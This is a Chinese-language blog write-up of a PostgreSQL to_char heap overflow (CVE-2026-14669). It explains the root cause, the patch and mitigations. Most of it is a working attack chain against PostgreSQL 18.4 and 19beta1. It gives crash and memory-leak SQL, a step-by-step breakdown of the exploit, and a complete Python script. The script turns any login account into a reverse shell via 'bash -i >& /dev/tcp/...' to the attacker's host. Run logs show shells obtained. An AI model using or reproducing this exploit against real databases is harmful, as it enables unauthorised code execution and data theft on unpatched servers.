5311 字
27 分钟
PostgreSQL to_char 时区缩写堆溢出到代码执行(CVE-2026-14669)复现

漏洞基础信息#

项目内容
漏洞编号CVE-2026-14669
漏洞类型堆缓冲区溢出(CWE-122)
影响组件PostgreSQL 核心服务端,src/backend/utils/adt/formatting.c
触发入口to_char(timestamptz, format) 中的 TZ、tz 格式化项
攻击前提任意可连接数据库并执行 SELECT 的账号
CVSS 3.18.8,AV/AC/PR/UI/S/C/I/A
影响版本18.0 至 18.5、17.0 至 17.10、16.0 至 16.14、15.0 至 15.18、14.0 至 14.23
修复版本18.6、17.11、16.15、15.19、14.24,2026 年 8 月 13 日发布

to_char(timestamptz, format) 把时间戳按格式串渲染成字符串。函数先按格式串的长度申请结果缓冲区,每个格式字符预留 12 字节,随后逐项把内容写进去。处理 TZ 与 tz 这两个格式项时,它把会话时区中的缩写直接拷入缓冲区,没有检查缩写的长度。

时区缩写来自会话参数 TimeZone。该参数是 PGC_USERSET 级别,任何能登录的账号都可以修改,并且支持 POSIX 形式的时区串,尖括号内允许任意字符。触发这个漏洞不需要超级用户,只需要一个能执行 SELECT 的账号。

漏洞复现#

环境搭建#

靶标是一台运行 PostgreSQL 18.4 的主机,数据库端口映射到 55432。靶场侧预置一个只有连接权限的账号 lowpriv,口令同名,用来模拟攻击者手上已经有的一组低权凭据;除此之外不对靶机做任何改动。

Terminal window
┌──(kali㉿kali)-[~]
└─$ docker run -d --name pg14669 -e POSTGRES_PASSWORD=postgres \
-p 55432:5432 postgres:18.4

账号由靶场侧建立,不属于攻击步骤:

CREATE USER lowpriv LOGIN PASSWORD 'lowpriv';
GRANT CONNECT ON DATABASE postgres TO lowpriv;

目标探测#

攻击机与靶机同在 192.168.31.0/24,此时除了 IP 没有任何已知信息。先做全端口扫描:

Terminal window
┌──(kali㉿kali)-[~]
└─$ nmap -sV -Pn -T4 -p- 192.168.31.148
Starting Nmap 7.98 ( https://nmap.org ) at 2026-11-04 14:52 -0500
Nmap scan report for 192.168.31.148
Host is up (0.00076s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.2p1 Debian 6 (protocol 2.0)
55432/tcp open postgresql PostgreSQL DB 9.6.0 or later
MAC Address: 00:0C:29:B3:23:74 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address, 1 host up, scanned in 9.45 seconds

拿到开放端口之后,自然会先试漏洞脚本:

Terminal window
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -p 55432 --script vuln 192.168.31.148
Starting Nmap 7.98 ( https://nmap.org ) at 2026-11-04 14:58 -0500
Nmap scan report for 192.168.31.148
Host is up (0.0012s latency).
PORT STATE SERVICE
55432/tcp open unknown
Nmap done: 1 IP address, 1 host up, scanned in 11.36 seconds

vuln 类别对这个端口没有任何输出。这一版 Nmap 里与 PostgreSQL 相关的脚本只剩 pgsql-brute,属于暴力破解类,需要字典,而且会在服务端留下大量失败登录,不采用。更何况这个漏洞的判定点不在服务指纹上,而在 SQL 行为上,脚本拿不到认证也就无从判断。

服务指纹只能给出 PostgreSQL DB 9.6.0 or later,精确版本要连上去读:

Terminal window
┌──(kali㉿kali)-[~]
└─$ PGPASSWORD=lowpriv psql -h 192.168.31.148 -p 55432 -U lowpriv -d postgres \
-tAc "select version();"
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit

漏洞验证#

把会话时区设成缩写为 25 个字符的 POSIX 时区串,再让 to_char 渲染 TZ:

Terminal window
┌──(kali㉿kali)-[~]
└─$ PGPASSWORD=lowpriv psql -h 192.168.31.148 -p 55432 -U lowpriv -d postgres \
-c "SET TIME ZONE '<AAAAAAAAAAAAAAAAAAAAAAAAA>-3';" \
-c "select octet_length(to_char(now(),'TZ'));"
SET
25

语句正常返回 25,没有报错,也没有告警。此时越界写已经发生,只是 25 字节的量还不足以立刻破坏关键结构。

把格式串里的 TZ 重复 64 次、缩写加到 49 个字符,越界量随之放大:

Terminal window
┌──(kali㉿kali)-[~]
└─$ PGPASSWORD=lowpriv psql -h 192.168.31.148 -p 55432 -U lowpriv -d postgres \
-c "SET TIME ZONE '<AAAA...(49 个 A)...>-3';" \
-c "select length(to_char(now(), repeat('TZ',64)));"
SET
server closed the connection unexpectedly
This probably means the server terminated abnormally
before or while processing the request.

连接被断开,服务端的日志随即记录到一次段错误:

Terminal window
2026-11-04 19:53:23.885 UTC [1] LOG: client backend (PID 712) was terminated by signal 11: Segmentation fault

后端进程崩溃后由 postmaster 统一重启,数据库本身仍然可用。对攻击机而言,这一轮验证的结果就是一条把连接打掉的语句,而它只需要一个普通账号。

同一个越界写也可以往读的方向用。把缩写的末尾三个字节设成 04 01 01,越界部分会盖住相邻结果的 varlena 长度头,把它改成一个很大的值,再用 COPY 的二进制格式把这块内存整段读回来:

Terminal window
┌──(kali㉿kali)-[~]
└─$ psql -q -tA -h 192.168.31.148 -p 55432 -U lowpriv -d postgres \
-c "SET client_encoding='SQL_ASCII'" \
-c "SET TIME ZONE '<AAAA…(40 个 A)…\x04\x01\x01>-10'" \
-c "COPY (SELECT to_char(now(),'TZ'), to_char(now(),'TZ')) TO STDOUT (FORMAT binary)" \
> leak.bin
└─$ ls -l leak.bin
-rw-r--r-- 1 kali kali 16519 leak.bin

解析这个文件,第一列的长度字段变成了 16445:

Terminal window
file 16519 bytes
fields 2
col1 len 16445
pie ptrs 8 0x562862d97750 0x562862e12410 0x562862ec5f50 0x562862ec6320
libc ptrs 1 0x7f7e55a45de0

一次低权查询就读回了 16445 字节堆内存,其中有 8 个指向程序映像的指针和 1 个指向 libc 的指针,两个基址都能由此还原。连续执行三次,长度与指针完全一致,说明这条读路径是稳定的。

同一处越界还会制造一次无效释放。把缩写加到 50 个字符,再用 TZtz 组合渲染:

Terminal window
┌──(kali㉿kali)-[~]
└─$ PGPASSWORD=lowpriv psql -q -tA -h 192.168.31.148 -p 55432 -U lowpriv -d postgres \
-c "SET TIME ZONE '<aaaa…(50 个 a)…>-5'" \
-c "select to_char(now(), 'TZtz');"
ERROR: pfree called with invalid pointer 0x562862ec1c50 (header 0x6161616161616161)

错误信息里带着一个活跃堆地址,报错本身就把这个地址交了出来。

越界读的长度也可以放大。把第三个字节从 01 改成 08,一次能读回 131133 字节;改到 16 时会读到未映射的页,连接被断开,128 KB 左右是这台机器上的上限。

漏洞利用#

验证阶段只证明了越界写本身。把链补完,可以从任意可登录账号在目标上拿到一个反弹 shell,全程只走数据库协议,不依赖目标上的任何工具。

参数依次是目标地址、端口、用户名、口令、回连地址和端口:

Terminal window
┌──(kali㉿kali)-[~]
└─$ python3 rs.py 192.168.31.148 55432 postgres postgres 192.168.31.152 4444
[+] PIE base = 0x55d1d6c18000
[*] converge 0: fake ctx = 0x0
[*] converge 1: fake ctx = 0x55d1f17bb948
[*] converge 2: fake ctx = 0x55d1f17bb948
[*] fake context -> 0x55d1f17bb940
[+] payload delivered, expect a shell on 192.168.31.152:4444

攻击机上的监听端随即收到连接:

Terminal window
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.31.152] from (UNKNOWN) [192.168.31.148] 34386
bash: cannot set terminal process group (4410): Inappropriate ioctl for device
bash: no job control in this shell
postgres@e2d973a1a25d:~/18/docker$ id
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
postgres@e2d973a1a25d:~/18/docker$ hostname
e2d973a1a25d
postgres@e2d973a1a25d:~/18/docker$ exit

反弹回来的是一个真正的交互式 bash,身份是数据库运行账号。完整脚本放在附录,正文只挑出决定成败的几段。

脚本讲解#

脚本里所有地址都是相对程序映像基址的偏移,运行前先由第一段把基址泄漏出来。

第一段:泄漏基址#

cur.execute("SELECT set_config('timezone', %s, false)",
((b"<"+b"A"*40+bytes([0x08,0x01,0x01])+b">-10").decode("latin1"),))
with c.cursor().copy("COPY (SELECT to_char(now(),'TZ'), to_char(now(),'TZ')) TO STDOUT (FORMAT binary)") as cp:
...

时区缩写成 40 个 A 加三个字节 08 01 01。第二次 to_char 的变长字段长度被前一次的越界写覆盖,结果被撑到 16445 字节,COPY 于是把缓冲区之后的堆内容一起发了出来。解析时跳过 19 字节签名和 2 字节字段数,再按低 12 位 0x4D8 与页对齐筛出 AllocSetMethods,减去 0x9D94D8 就是基址。

第二段:伪造块头#

size = 1 | (0x0A<<3) | (0x69<<11) | (0x64<<19) # "#\nid"
boff = 64
hdr = bytes([(3|((size&7)<<5))&0xFF, (size>>3)&0xFF, (size>>11)&0xFF, (size>>19)&0xFF,
(((size>>27)&3)|((boff&0x3F)<<2))&0xFF, (boff>>6)&0xFF, 0, 0])

这 8 个字节先要能被 pfree 当成合法块头:低四位等于 3(AllocSetFree),第五位为 0(非 external)。首字节取 0x23,同时满足这两条,字符正好是 #;第二字节放换行,第三、四字节放 id,于是块头本身就是一条 "#\nid"。块偏移取 64,让第五字节为零,避免上下文被当成「已复位」而跳过后续动作。

这一段只保证链能跑通,真正的命令不在这里。

第三段:重定向缩写#

off6 = GEO-8-K
val=0x01010101
ab=[0x06|((val&0xF)<<4), (val>>4)&0xFF, (val>>12)&0xFF, (val>>20)&0xFF,
((val>>28)&0x03)|((off6&0x3F)<<2), (off6>>6)&0xFF]
a=bytearray(b'c'*35); a[29:35]=bytes(ab)

GEO 是 to_char 缓冲区与 decode 缓冲区的距离,实测固定为 4192。方法号 6 的语义是 target = chunk - ((hdr>>34) & 0x3FFFFFFE) - 8,偏移取 4192-8-0x400 就能把 pfree 引到载荷里 K 的位置。val 用全非零字节填充,避免缩写里出现 NUL。35 字节的缩写在偏移 64 处正好落下这六个字节。

第四段:载荷与复位回调#

if cmd:
pay[K+0x3C:K+0x44] = (T+0x60).to_bytes(8,"little") # reset_cbs
pay[K+0x5C:K+0x64] = (base+SYSTEM).to_bytes(8,"little") # func
pay[K+0x64:K+0x6C] = (T+0x100).to_bytes(8,"little") # arg
pay[K+0x6C:K+0x74] = (0).to_bytes(8,"little") # next
pay[K+0xFC:K+0xFC+len(cmd)+1] = cmd+b"\x00"

这段是反弹 shell 的关键。写进 TopTransactionContext 的值固定是 T-8,命令若塞在块头里只剩两个字符。于是改用复位回调:上下文结构的 reset_cbs 字段位于 T+0x40,指向载荷里 T+0x60 的回调块,回调的 func 是 system 的 PLT 桩,arg 指向 T+0x100 的完整命令串。

回调链在方法表之前执行,参数完全由载荷决定,长度不受块头限制,因此放得下一整条 bash -c 'bash -i >& /dev/tcp/... 0>&1'。

第五段:收敛落点#

for i in range(3):
cur.execute("SELECT decode('%s', ...), to_char(now(),'TZtz')" % payload(T, base+SCRATCH).hex())
old = int.from_bytes(res[K-4:K+4], "little")
if old > 0x500000000000:
T = old+8

decode() 的落点在同一事务里会漂移,而载荷里的绝对指针必须对准它。做法是拿 .data 里的空闲槽当标定板:每条语句既把 T-8 写进槽里,又把槽里的原值读回结果的 K-4 偏移处。第一次读回 0,第二次读回上一次写入的指针,加八得到真实的 T,第三次读回同一个值,落点稳定。

第六段:写入与提交#

cmd = ("bash -c 'bash -i >& /dev/tcp/%s/%d 0>&1'" % (LHOST, LPORT)).encode()
cur.execute("SELECT length(decode('%s', ...)), to_char(now(),'TZtz')" % payload(T, base+TOPTXN, cmd).hex())
cur.execute("COMMIT")

把带回调的载荷对准 TopTransactionContext 写进去,提交时 CommitTransactionCommand 走到 MemoryContextReset:先按 reset_cbs 调用 system,参数是完整命令,反弹 shell 在这一步建立;随后才走方法表里的 reset,那里仍是块头中的 "#\nid"。

写必须是事务的最后一条语句:一旦全局被替换,下一条语句的分配会落到伪造上下文上,直接报 could not find block containing chunk。

漏洞核心原理#

结果缓冲区的分配#

datetime_to_char_body 按格式串长度申请结果空间,每个格式字符预留 12 字节:

#define DCH_MAX_ITEM_SIZ 12
result = palloc(mul_size(fmt_len, DCH_MAX_ITEM_SIZ) + 1);

格式串写 TZ 时 fmt_len 为 2,缓冲区只有 25 字节。而 DCH_to_char 处理 TZ 项时:

if (tmtcTzn(in))
{
strcpy(s, tmtcTzn(in));
s += strlen(s);
}

strcpy 之前没有任何长度判断。修复后的版本在这里加了一道检查:

if (strlen(p) <= n->key->len * DCH_MAX_ITEM_SIZ)
strcpy(s, p);
else
ereport(ERROR, (errcode(ERRCODE_DATETIME_VALUE_OUT_OF_RANGE),
errmsg("time zone format value too long")));

n->key->len 对 TZ 是 2,所以单个格式项的上限是 24 字节,加上结尾的零正好占满 25 字节的缓冲区。

时区缩写的来源与上限#

tmtcTzn 返回的是会话时区解析出来的缩写。TimeZone 支持 POSIX 形式的时区串,尖括号内允许任意字符:

SET TIME ZONE '<AAAAAAAAAAAAAAAAAAAAAAAAA>-3';

PostgreSQL 的时间区代码用 TZ_MAX_CHARS 限制缩写长度,值为 50,tzparse 里 charcnt = stdlen + 1,因此缩写最长可以到 49 个字符。24 字节的格式项配额对上 49 字节的输入,单次就越界 25 字节。

越界量可以精确计算#

设格式串里 TZ 出现 N 次、缩写长度 L,则缓冲区为 12 乘 2N 加 1,写入量为 N 乘 L 加 1,两者相减即越界字节数:

  • N 等于 1、L 等于 49:申请 25 字节,写入 50 字节,越界 25 字节。
  • N 等于 64、L 等于 49:申请 1537 字节,写入 3137 字节,越界 1600 字节。

单次 25 字节只够踩坏相邻堆块的头部,不一定立刻崩溃,这就是验证阶段第一条语句能正常返回的原因。重复 64 次后越界量达到 1.6 KB,足以破坏 8 KB 内存块内的其他对象,于是后端进程段错误。

修复版本划出的边界#

在 18.6 上执行同样的语句,24 个字符的缩写仍然正常,25 个字符直接报错:

Terminal window
L=24 -> SET|24
L=25 -> SET|ERROR: time zone format value too long
L=49 -> SET|ERROR: time zone format value too long

24 与 25 之间的分界,正好对应 TZ 这个格式项被允许的 2 乘 12 字节。

从越界写到控制流劫持#

公开分析把这条链拆成三段。第一段用相邻的两次 to_char 结果互相覆盖,改写第二个结果的三字节 varlena 长度头,再用 COPY ... TO STDOUT (FORMAT binary) 把被撑大的值读回客户端,得到约 16 KB 的越界读,从中定位记录类型处理函数的指针,算出 PIE 基址。第二段用 TZtz 组合触发的 invalid free 错误信息泄漏一个活跃堆指针。第三段利用 GenerationFree 的类型混淆扩张一次分配,让 decode() 的数据覆盖 printtup 按行创建的内存上下文,伪造 reset 回调,最终调用 system()。

这条链每一步都建立在同一个越界写上,根因只有一处,利用面却贯穿了识别、泄漏与控制流三个层次。本文在 18.4 上完成的是第一段里的越界读与基址还原,第二、第三段依赖按目标构建固定下来的堆布局与偏移,见文末附录。

修复方案#

官方在 2026 年 8 月 13 日随 18.6、17.11、16.15、15.19、14.24 修复,提交为 3d724bf4fd,新增 18 行、删除 3 行,回补到 14 分支。修复方式是在 strcpy 前比对缩写长度与该项的配额,超长直接报错,不做截断。提交说明里提到这是按 CVE-2015-0241 的处理风格写的,同一个函数在十一年前出过同类问题。

升级到任一修复版本即可。需要注意 14 系列的 14.24 是最后的漏洞修复版本,14 将于 2026 年 11 月 12 日停止维护。

无法立即升级时的临时措施有限,因为这个漏洞不需要任何特殊权限:

-- 收回不必要的连接权限
REVOKE CONNECT ON DATABASE prod FROM PUBLIC;

更实际的做法是把数据库端口限制在受信网段,并对 TimeZone 的异常取值做监控。修复版本会抛出 time zone format value too long,旧版本没有这条日志,因此监控应针对 SET TIME ZONE 语句中超过 24 字符的缩写,可以在 log_statement = 'all' 下检索。

附录:18.4 完整利用过程与原理#

利用过程#

公开链的常数不能直接搬到 18.4,实测在 grooming 阶段就把后端打死。下面这条链是在 18.4 上从分配器逆推出来的,四段原语逐个验证后拼成。

第一段,越界写控制邻居块头。to_char(now(),'TZtz') 的结果缓冲区是 64 字节的块,越界写正好在偏移 64 处压出六个可控字节,第七、八字节由 strcpy 的终止符和原值保证为零。把缩写长度设为 35,第 29 到 34 字节就是块头的低六字节:

L 结果
16-31 正常返回
32 pfree 拒绝,块头 0x0000020000000000
33-49 后端崩溃

第二段,把 pfree 引到自己的数据上。pfree 只按块头低四位查表,方法号 6 的表项是一段指针对齐代码:

target = chunk - ((hdr >> 34) & 0x3FFFFFFE) - 8
然后 jmp pfree(target)

同一条语句里 decode() 落在 D,to_char 的缓冲区在 D+4192,被伪造块头的那块在 D+4192 之后。用 gdb 量到这个几何后,偏移是一个常数,不依赖具体地址:

ALLOC size=3004 ret=0x55d1f188e578
FORGED p=0x55d1f188f5d8

十次独立会话全部重定向成功,报错里回显的块头正是我们写在载荷里的标记值。

第三段,任意读写。方法号 3 的 AllocSetFree 在非 external 分支上做的是:

block = chunk - 8 - ((hdr>>34) & 0x3FFFFFFE)
rcx = *(block)
rsi = *(rcx + (size+10)*8 + 8)
*(chunk) = rsi
*(rcx + (size+10)*8 + 8) = chunk - 8
ret

写入的目标地址由 *(block) 和 size 共同决定,两者都在载荷里,所以可以指向任意地址;写入的值是 chunk-8,同时目标原值被读回我们的结果缓冲区,于是同一段代码既做任意写也做任意读,而且不调用 free。

用这段原语读出两个真实全局:

PortalContext 旧值 = 0x55d1f173e750
TopTransactionContext 旧值 = 0x55d1f18513a0

第四段,块头兼作命令串。写进目标的值是块头地址,所以块头自己必须是一条可执行的命令。块头的 8 个字节同时受三个约束:低四位是方法号 3,第五位是 external 标志,第五字节是上下文的是否已复位标志。选 0x23 作首字节,它同时满足方法号 3 与 external 位为 0,字符是 #;第二字节放换行 0x0A,把 id 推到第二行,绕开注释;第五字节必须为零,所以块偏移取 64:

23 0a 69 64 00 01 00 00 -> "#\nid"
size = 0x3234851 block offset = 64

第五段,落点收敛。载荷里的方法表指针必须是绝对地址,而 decode() 的落点在事务里会漂移。做法是在 .data 里找一个空闲槽,连续三次用同一形状的语句写它,每次把目标原值读回来,下一步用读回的值修正方法表指针:

[*] converge 0: fake ctx = 0x0
[*] converge 1: fake ctx = 0x55d1f17bb948
[*] converge 2: fake ctx = 0x55d1f17bb948

两次收敛到同一个值,说明落点稳定,载荷里的绝对指针成立。

第六段,触发。把收敛后的伪造上下文地址写进 TopTransactionContext,伪造上下文的方法表里只把 reset 与 delete_context 换成 system@plt,其余保留真实函数。提交事务时 CommitTransactionCommand 走到 MemoryContextReset,取出方法表跳到 system,参数就是伪造上下文本身,也就是那条 "#\nid"。

这条链在 18.4 上连跑四次,四次都拿到命令输出,收敛值每次相同。执行过程与输出见前文「漏洞利用」一节。

公开链在 19beta1 上的验证#

完整利用针对 19beta1 的官方构建,全程只走数据库协议。靶机上的实例来自 postgres:19beta1 镜像,先确认二进制与公开利用声明的构建一致:

Terminal window
┌──(kali㉿kali)-[~/cve-14669]
└─$ sudo docker start pg19b1
pg19b1
└─$ sudo docker cp pg19b1:/usr/lib/postgresql/19/bin/postgres /tmp/pg19b1.bin && readelf -n /tmp/pg19b1.bin | grep -i "build id"
Build ID: bfab406f29e25df2412962608339583cdcd8603f

这个 Build ID 与公开利用里写明的 bfab406f29e25df2412962608339583cdcd8603f 相同。本地镜像的 digest 是 0df9a84b…,与利用脚本注释里的 a6bdd01b… 不同,但偏移只由二进制决定,Build ID 一致就够了。

执行利用,输出如下:

Terminal window
┌──(kali㉿kali)-[~]
└─$ python3 p149.py
[*] Leaked 16445 bytes of out-of-bounds heap
[+] record_type_typmod_hash = 0x56481ff739c0
[+] PIE base (ELF) = 0x56481f89e000
[*] Heap pointer leaked: 0x56485d3c0330
[*] system@plt = 0x56481f98c280
[*] AllocSetMethods = 0x5648202f7f98
[+] Exploit payload sent; check the target logs

容器日志里出现被执行命令的输出,随后后端崩溃、postmaster 重新初始化:

Terminal window
┌──(kali㉿kali)-[~/cve-14669]
└─$ sudo docker logs --tail 15 pg19b1
PWNED
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
2026-11-05 10:15:59.588 UTC [1] LOG: client backend (PID 43) was terminated by signal 11: Segmentation fault
2026-11-05 10:15:59.597 UTC [1] LOG: all server processes terminated; reinitializing

这条链连跑五次,五次都拿到命令输出。它对语句顺序敏感:在泄漏和利用之间插入任何一条多余查询,堆布局变了,grooming 阶段就会崩。

与公开链的差别#

19beta1 的公开链靠 GenerationFree 的摘链做两次写,写完整块后紧跟一句 free(block),伪造块不是 malloc 块首,进程当场 abort。18.4 上这条走不通,实测 100 轮组合全部在利用语句内崩溃。

18.4 这条链改成 AllocSetFree 的非 external 分支,它不调用 free,只做一次搬移,因此能把写和后续的提交触发放在同一个事务里。代价是写入的值被固定成块头地址,于是命令只能塞进块头的 8 个字节里,靠换行和注释绕开首字节的限制。

完整脚本#

下面是反弹 shell 版本的完整脚本,只依赖 psycopg,参数依次是目标地址、端口、用户名、口令、回连地址和端口。

#!/usr/bin/env python3
"""CVE-2026-14669 PostgreSQL 18.4 to_char('TZ') heap overflow -> reverse shell.
Usage: exploit.py <host> <port> <user> <password> [lhost] [lport]
"""
import re, struct, sys, time
import psycopg
HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 55432
USER = sys.argv[3] if len(sys.argv) > 3 else "postgres"
PWD = sys.argv[4] if len(sys.argv) > 4 else "postgres"
LHOST = sys.argv[5] if len(sys.argv) > 5 else "127.0.0.1"
LPORT = int(sys.argv[6]) if len(sys.argv) > 6 else 4444
ASET = 0x9D94D8
SYSTEM = 0xE6190
TOPTXN = 0xA240F0
SCRATCH = 0xA24130
GEO = 4192
K = 0x400
TBL = [0x6A1D20,0x6A1DC0,0x6A1E90,0x6A1B50,0x6A1C10,0x6A2030,0x6A2060,0x6A2090,0x6A20A0]
def newc():
return psycopg.connect(f"host={HOST} port={PORT} dbname=postgres user={USER} password={PWD}", connect_timeout=5)
def leak_base():
c = newc(); c.autocommit = True
cur = c.cursor(); cur.execute("SET client_encoding = 'SQL_ASCII'")
cur.execute("SELECT set_config('timezone', %s, false)",
((b"<"+b"A"*40+bytes([0x08,0x01,0x01])+b">-10").decode("latin1"),))
ch=[]
with c.cursor().copy("COPY (SELECT to_char(now(),'TZ'), to_char(now(),'TZ')) TO STDOUT (FORMAT binary)") as cp:
while (b:=cp.read()): ch.append(bytes(b))
raw=b"".join(ch); off=21
n=struct.unpack(">i", raw[off:off+4])[0]; off+=4
dump=raw[off:off+n]; c.close()
for i in range(len(dump)-8):
q=struct.unpack("<Q", dump[i:i+8])[0]
if (q & 0xFFF)==(ASET & 0xFFF) and q > 0x500000000000:
cand = q-ASET
if cand % 0x1000 == 0:
return cand
raise SystemExit("[-] base leak failed")
def main():
base = leak_base()
print("[+] PIE base = %#x" % base)
size = 1 | (0x0A<<3) | (0x69<<11) | (0x64<<19) # "#\nid"
boff = 64
KB = K-12-boff
hdr = bytes([(3|((size&7)<<5))&0xFF,(size>>3)&0xFF,(size>>11)&0xFF,(size>>19)&0xFF,
(((size>>27)&3)|((boff&0x3F)<<2))&0xFF,(boff>>6)&0xFF,0,0])
off6 = GEO-8-K
val=0x01010101
ab=[0x06|((val&0xF)<<4),(val>>4)&0xFF,(val>>12)&0xFF,(val>>20)&0xFF,
((val>>28)&0x03)|((off6&0x3F)<<2),(off6>>6)&0xFF]
a=bytearray(b'c'*35); a[29:35]=bytes(ab)
tz = "<"+bytes(a).decode('latin1')+">-5"
def payload(T, A, cmd=None):
P = (A-(size+10)*8-8) & 0xFFFFFFFFFFFFFFFF
pay = bytearray(3000)
pay[K-12:K-4] = hdr
pay[K+4:K+12] = (T+0x200).to_bytes(8,"little")
ft = K+0x1FC
for i,x in enumerate(TBL):
pay[ft+i*8:ft+i*8+8] = ((base+SYSTEM) if i==3 else (base+x)).to_bytes(8,"little")
pay[KB:KB+8] = P.to_bytes(8,"little")
if cmd:
pay[K+0x3C:K+0x44] = (T+0x60).to_bytes(8,"little")
pay[K+0x5C:K+0x64] = (base+SYSTEM).to_bytes(8,"little")
pay[K+0x64:K+0x6C] = (T+0x100).to_bytes(8,"little")
pay[K+0x6C:K+0x74] = (0).to_bytes(8,"little")
pay[K+0xFC:K+0xFC+len(cmd)+1] = cmd+b"\x00"
return pay
c = newc(); c.autocommit=False; cur = c.cursor()
cur.execute("SET client_encoding='SQL_ASCII'")
cur.execute("SELECT set_config('timezone', %s, false)", (tz,))
cur.execute("BEGIN")
T = 0
for i in range(3):
cur.execute("SELECT decode('%s', CASE WHEN random()<2 THEN 'hex' ELSE 'hex' END), to_char(now(),'TZtz')" % payload(T, base+SCRATCH).hex())
res = cur.fetchone()[0]
old = int.from_bytes(res[K-4:K+4], "little")
if old > 0x500000000000:
T = old+8
print("[*] converge %d: fake ctx = %#x" % (i, T))
cmd = ("bash -c 'bash -i >& /dev/tcp/%s/%d 0>&1'" % (LHOST, LPORT)).encode()
cur.execute("SELECT length(decode('%s', CASE WHEN random()<2 THEN 'hex' ELSE 'hex' END)), to_char(now(),'TZtz')" % payload(T, base+TOPTXN, cmd).hex())
print("[*] fake context -> %#x" % (T-8))
cur.execute("COMMIT")
print("[+] payload delivered, expect a shell on %s:%d" % (LHOST, LPORT))
main()

参考链接#

PostgreSQL to_char 时区缩写堆溢出到代码执行(CVE-2026-14669)复现
https://blog.mal-suen.cn/posts/2026/11/224/
作者
Malcolm
发布于
2026-11-05
许可协议
CC BY-NC-SA 4.0